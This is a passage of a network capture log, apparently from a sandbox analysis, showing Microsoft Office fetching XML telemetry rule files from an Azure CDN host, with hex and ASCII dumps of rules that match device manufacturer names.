20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:12 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:12 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234112Z-174f7845968psccphC1EWRuz9s00000010xg000000006nfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:12 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:14 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234114Z-174f7845968swgbqhC1EWRmnb400000010pg00000000mmw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:14 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:14 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234114Z-174f7845968qj8jrhC1EWRh41s00000010f000000000mrv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:14 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 930937e0-c01e-0046-27a1-402db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234114Z-174f78459684bddphC1EWRbht400000010ag00000000cw25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:14 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:15 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:14 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 5e64b7e0-d01e-0049-7eb8-42e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234114Z-174f78459685m244hC1EWRgp2c00000010c000000000h8qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-29 23:41:15 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:14 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:14 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 999c3d90-401e-00a3-7f00-428b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234114Z-174f7845968qj8jrhC1EWRh41s00000010kg000000009am6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:14 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]